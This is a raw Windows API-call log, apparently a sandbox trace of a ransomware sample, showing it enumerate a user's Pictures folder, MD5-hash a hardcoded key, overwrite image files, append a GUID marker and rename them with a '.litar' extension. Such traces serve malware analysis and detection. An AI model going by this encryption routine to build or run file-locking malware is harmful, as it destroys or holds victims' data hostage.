RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.128] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.129] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\") returned="nEqZA\\" [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.129] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.129] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.129] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.129] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.129] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.130] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.130] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.130] PathFindFileNameW (pszPath="") returned="" [0126.130] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.130] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x302f5490, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x53749450, ftLastAccessTime.dwHighDateTime=0x1d4c7c9, ftLastWriteTime.dwLowDateTime=0x53749450, ftLastWriteTime.dwHighDateTime=0x1d4c7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.130] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.130] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x302f5490, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x53749450, ftLastAccessTime.dwHighDateTime=0x1d4c7c9, ftLastWriteTime.dwLowDateTime=0x53749450, ftLastWriteTime.dwHighDateTime=0x1d4c7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.130] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37aa4f0, ftCreationTime.dwHighDateTime=0x1d4ccc9, ftLastAccessTime.dwLowDateTime=0xee07e40, ftLastAccessTime.dwHighDateTime=0x1d4ccb4, ftLastWriteTime.dwLowDateTime=0xee07e40, ftLastWriteTime.dwHighDateTime=0x1d4ccb4, nFileSizeHigh=0x0, nFileSizeLow=0x182c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9I3wBfC.png", cAlternateFileName="")) returned 1 [0126.131] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.131] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0126.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.131] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\9I3wBfC.png") returned=".png" [0126.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\9I3wBfC.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\9i3wbfc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.131] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=99015) returned 1 [0126.131] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.133] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.133] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.134] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.134] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.134] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.134] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x182c7, lpOverlapped=0x0) returned 1 [0126.135] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.135] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.135] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.135] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.135] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.136] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.136] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.136] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.136] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.136] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.136] GetLastError () returned 0x0 [0126.136] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.136] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.136] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.136] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x182d0) returned 0x30fa0b0 [0126.137] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.137] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x182c2, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x182c2, lpOverlapped=0x0) returned 1 [0126.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.137] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.137] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.137] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.137] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.137] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.138] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.138] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.138] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.138] CloseHandle (hObject=0x624) returned 1 [0126.139] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.139] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0126.139] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.139] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\9I3wBfC.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\9i3wbfc.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\9I3wBfC.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\9i3wbfc.png.litar")) returned 1 [0126.139] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.140] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.140] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0126.140] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e01940, ftCreationTime.dwHighDateTime=0x1d4c7fb, ftLastAccessTime.dwLowDateTime=0xb9b1e820, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xb9b1e820, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x4734, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gXqHnWD.bmp", cAlternateFileName="")) returned 1 [0126.141] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.141] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0126.141] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.141] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\gXqHnWD.bmp") returned=".bmp" [0126.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\gXqHnWD.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\gxqhnwd.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.141] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=18228) returned 1 [0126.141] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.143] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x470e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.143] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.146] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.146] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.146] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.146] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x4734, lpOverlapped=0x0) returned 1 [0126.147] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.147] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.147] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.147] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.147] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.148] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.148] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.148] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.148] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.148] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.148] GetLastError () returned 0x0 [0126.148] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.148] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.148] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.148] 